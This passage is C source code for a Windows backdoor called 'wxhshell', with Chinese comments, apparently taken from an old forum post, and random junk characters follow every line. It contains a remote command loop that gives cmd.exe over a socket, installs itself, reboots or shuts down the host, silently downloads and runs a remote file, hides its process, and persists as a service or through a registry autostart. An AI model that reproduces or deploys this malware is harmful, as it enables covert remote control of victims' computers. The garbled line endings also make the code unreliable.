  else { vLK\X$4  
;]oXEq`  
    switch(cmd[0]) { EO 9kE.g  
  HSr"M.k5  
  // 帮助 : ` 6$/DK  
  case '?': { id#k!*$7  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); pJ$N@ID  
    break; I bv_D$cT  
  } At[n<8_|  
  // 安装 mp+\!  
  case 'i': { ?Str*XA;  
    if(Install()) Rqb{)L X*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?4,*RCaI  
    else Ubw!/|mi  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q!2iOvK  
    break; JPTI6"/  
    } gcW{]0%L^  
  // 卸载 .t^UK#@#4  
  case 'r': { L4/TI(MP  
    if(Uninstall()) F3Ak'h{Ay  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); */5<L99v  
    else fdq^!MWTi  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S `m- 5  
    break; kTi PZZI  
    } ]dGr1 ncu  
  // 显示 wxhshell 所在路径 kO,VayjT  
  case 'p': { i^s`6:rNu  
    char svExeFile[MAX_PATH]; ghJ,s|lH  
    strcpy(svExeFile,"\n\r"); 9?l?G GmQ  
      strcat(svExeFile,ExeFile); (4{ C7  
        send(wsh,svExeFile,strlen(svExeFile),0); srChY&h?<  
    break; ll<9f)  
    } z7t'6Fy9'  
  // 重启 Lr24bv\  
  case 'b': { =N@)CB7a  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); L`HH);Ozw  
    if(Boot(REBOOT)) kP}hUrDX5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Fyh?4!/.  
    else { T) Zt'M  
    closesocket(wsh); mS w?2ba  
    ExitThread(0); An8%7xa7  
    } kh>SrW]B%  
    break; \\2k}TsB  
    } {sna)v$;  
  // 关机 y[^k*,= 9  
  case 'd': { /50g3?X,  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); .n)!ZN  
    if(Boot(SHUTDOWN)) az \<sWb#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S-M)MCL  
    else { !}L~@[v,uL  
    closesocket(wsh); i>]<*w  
    ExitThread(0); Av;q:x?  
    } P+;CE|J`X  
    break; B.Zm$JZ:  
    } >TlW]st  
  // 获取shell 6m-:F.k1(  
  case 's': { rt3f7 s*  
    CmdShell(wsh); f- k|w%R@  
    closesocket(wsh); { /F rs*AF  
    ExitThread(0); Mf ;|z0UX  
    break; Uaus>Frx.T  
  } =YXe1$ $  
  // 退出 j*eUF-J1  
  case 'x': { ]8xc?*i8  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); c4ZuW_&:  
    CloseIt(wsh); T<TcV9vM  
    break; _X,[]+ziu%  
    } /slm ]'  
  // 离开 7|+|\ 7l#  
  case 'q': { ,TKs/-_?  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); [w&#+h-q  
    closesocket(wsh); O2`oe4."vd  
    WSACleanup(); JGk3 b=K  
    exit(1); f.aB?\"f6  
    break; Uw2,o|=O  
        } |b$>68:  
  } F}6DB*  
  } }XGMa?WR  
Z{,GZT  
  // 提示信息 3wN?|N  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Yo~LckFF  
} "wnpiB}  
  } }pl]9  
T}L^CU0  
  return; Ci7P%]9  
} 5|<yfk8*J  
E[|s>Xv~  
// shell模块句柄 %]a @A8o0  
int CmdShell(SOCKET sock)  k#axt Sc  
{ 99l>CYXd  
STARTUPINFO si; /~3N@J  
ZeroMemory(&si,sizeof(si)); Pl rkgS0J  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; F`Dg*O  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]^J+-c  
PROCESS_INFORMATION ProcessInfo; v`#j  
char cmdline[]="cmd"; ,:#,}w_HyO  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); qj~flw1:  
  return 0; c;:">NR  
} \)OZUch  
u*t,i`  
// 自身启动模式 YG0PxZmi  
int StartFromService(void) X,C*qw@  
{ B :.@Qi^  
typedef struct !_CX2|  
{ kz ZDtI)  
  DWORD ExitStatus; q"gqO%Wb|  
  DWORD PebBaseAddress; qP~WEcH`[  
  DWORD AffinityMask; ,?l~rc  
  DWORD BasePriority; G'ij?^?  
  ULONG UniqueProcessId; R)0N0gH  
  ULONG InheritedFromUniqueProcessId; \~JNQ&_o  
}   PROCESS_BASIC_INFORMATION; +h0PR?  
s kN9O"^A  
PROCNTQSIP NtQueryInformationProcess; $> "J"IX  
k: b/Gq`  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; S~KS9E~\  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; v,/[&ASz  
yXJ]U \ %  
  HANDLE             hProcess; J|V K P7  
  PROCESS_BASIC_INFORMATION pbi; X}ZlWJ  
XD PL;(?  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); :P3{Nxa  
  if(NULL == hInst ) return 0; r55qmPhg  
z;i4N3-:  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >_XOc  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); `NBbTQtgO  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ldA!ou7  
QX[Djz0H8  
  if (!NtQueryInformationProcess) return 0; n[!;yO  
;Vg^!]LL#  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 1EVfowIl  
  if(!hProcess) return 0; ^>C 11v  
I*EJHBsQ5  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Q,{^S,s<   
>~_J q|KBB  
  CloseHandle(hProcess); MkwU<ae AB  
D^Te%qnW  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); w/ TKRCO3  
if(hProcess==NULL) return 0; l , ..5   
,V,f2W 4  
HMODULE hMod; $@_{p*q  
char procName[255]; 93j{.0]X  
unsigned long cbNeeded; M\Se_  
a6%@d_A  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); bW53" `X  
v? L  
  CloseHandle(hProcess); MDJc[am  
(8.{+8o  
if(strstr(procName,"services")) return 1; // 以服务启动 j~bAbOX12  
iOXZ ]Xj5  
  return 0; // 注册表启动 m`z7fi7u  
} LheFQ A  
$.pTB(tO  
// 主模块 NmJ`?-Z  
int StartWxhshell(LPSTR lpCmdLine) OTj,O77k  
{ ._?V%/  
  SOCKET wsl; ?v:ZU~i  
BOOL val=TRUE; IV'p~t  
  int port=0; c!It ^*  
  struct sockaddr_in door; Z7fg 25  
qj&b o  
  if(wscfg.ws_autoins) Install(); .2 0V 3  
&)n_]R#)  
port=atoi(lpCmdLine); `H\)e%]  
Y;Ap9i*  
if(port<=0) port=wscfg.ws_port; "+)K |9T#  
OO nX`  
  WSADATA data; g+xw$A ou  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Ve}[XqdS^p  
gxwo4.,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ,MQVE  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); q/NY72tj0  
  door.sin_family = AF_INET; #E DEYEW7  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 9Hd;35 3Q  
  door.sin_port = htons(port); !;S"&mcPDJ  
OR:[J5M)  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { qz!Ph5 (  
closesocket(wsl); 44\cI]!{  
return 1; /`[!_4i  
} LvcuZZ`1a  
P ZxFZvE  
  if(listen(wsl,2) == INVALID_SOCKET) { ]ab#q=  
closesocket(wsl); XM/vDdR  
return 1; qj!eLA-aD  
} c pk^!@c  
  Wxhshell(wsl); 5{K}?*3hJ  
  WSACleanup(); a8pY[)^c  
](#&.q%5!  
return 0; ib$nc2BPb  
DVlJ*A  
} &fwS{n;U  
g JjN<&,  
// 以NT服务方式启动 er2cQS7R  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) x&Cp> +i  
{ ; Y"N6%  
DWORD   status = 0; N>|XS ,  
  DWORD   specificError = 0xfffffff; (u hd "  
<P_ea/5:|  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ~=En +J}*  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; bl;zR  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;  Ow:1?Z{4  
  serviceStatus.dwWin32ExitCode     = 0; `]=oo%(h  
  serviceStatus.dwServiceSpecificExitCode = 0; vi!YN|}\  
  serviceStatus.dwCheckPoint       = 0; ['q&@_d7  
  serviceStatus.dwWaitHint       = 0; c3)C{9T](  
e)H!uR  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); } fZ`IOf  
  if (hServiceStatusHandle==0) return; h5"Ov,K3[  
ibpzeuUl  
status = GetLastError(); Pf <[|yu4?  
  if (status!=NO_ERROR) oH#v6{y  
{ Pm+tQ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; kM/Te{<  
    serviceStatus.dwCheckPoint       = 0; EpYy3^5d  
    serviceStatus.dwWaitHint       = 0; UG;Y^?Ppe5  
    serviceStatus.dwWin32ExitCode     = status; x;LzG t:w  
    serviceStatus.dwServiceSpecificExitCode = specificError; ?+0GfIV  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); At6qtoPRA  
    return; 1[;;sSp  
  } usFfMF X  
uuNR?1fS  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ua5?(,E`']  
  serviceStatus.dwCheckPoint       = 0; a|4~NL  
  serviceStatus.dwWaitHint       = 0; C3'rtY.  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); R@iUCT^$  
} XL$* _c <)  
'zZcn" +!  
// 处理NT服务事件,比如:启动、停止 $w#r"= )  
VOID WINAPI NTServiceHandler(DWORD fdwControl) #!2k<Q*5uT  
{ G8Z4J7^  
switch(fdwControl) i3VW1~.8  
{ S'LZk9E  
case SERVICE_CONTROL_STOP: )IL #>2n?  
  serviceStatus.dwWin32ExitCode = 0; .8WXC   
  serviceStatus.dwCurrentState = SERVICE_STOPPED; EW<kI+0D  
  serviceStatus.dwCheckPoint   = 0; ObG|o1b  
  serviceStatus.dwWaitHint     = 0; (`BSVxJH  
  { Q`%R[#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); lrWQOYf2  
  } FV39QG4b4  
  return; 4|?{VQ  
case SERVICE_CONTROL_PAUSE: Oakb'  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $wB^R(f@  
  break; bFS>)  
case SERVICE_CONTROL_CONTINUE: Bux [6O %  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; d[D&J  
  break; S6d`ioi-  
case SERVICE_CONTROL_INTERROGATE: 7nU6k%_%  
  break; R\|lt)h  
}; n5-)/R[z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9BEFr/.  
} *?ITns W<  
Ih}1%Jq  
// 标准应用程序主函数 pd[ncL  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) LQYy;<K  
{ fvq,,@23  
OZY,@c  
// 获取操作系统版本 e({9]  
OsIsNt=GetOsVer(); S~Z|PLtF  
GetModuleFileName(NULL,ExeFile,MAX_PATH); qa`-* 4m  
N2'qpxOLI  
  // 从命令行安装 Z?P~z07  
  if(strpbrk(lpCmdLine,"iI")) Install(); nl aM  
j@gMb iu  
  // 下载执行文件  +=q)  
if(wscfg.ws_downexe) { ~[WF_NU1y  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) b2,mCfLsv  
  WinExec(wscfg.ws_filenam,SW_HIDE); iIT8H\e  
} ^ KK_qC  
&,\=3 '  
if(!OsIsNt) { V r(J+1@  
// 如果时win9x,隐藏进程并且设置为注册表启动 ?~"bR%  
HideProc(); M 3 '$[  
StartWxhshell(lpCmdLine); f/,>%j=Ms  
} $rF=_D6  
else eN? Y7  
  if(StartFromService()) TL$EV>Nr  
  // 以服务方式启动 D4Al3fe  
  StartServiceCtrlDispatcher(DispatchTable); `;|5  
else ^9OUzTF  
  // 普通方式启动 >_dx_<75&  
  StartWxhshell(lpCmdLine); "xmP6=1  
M->*{D@a  
return 0; VV4Gjc  
}
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只看该作者 1 发表于: 2006-10-10
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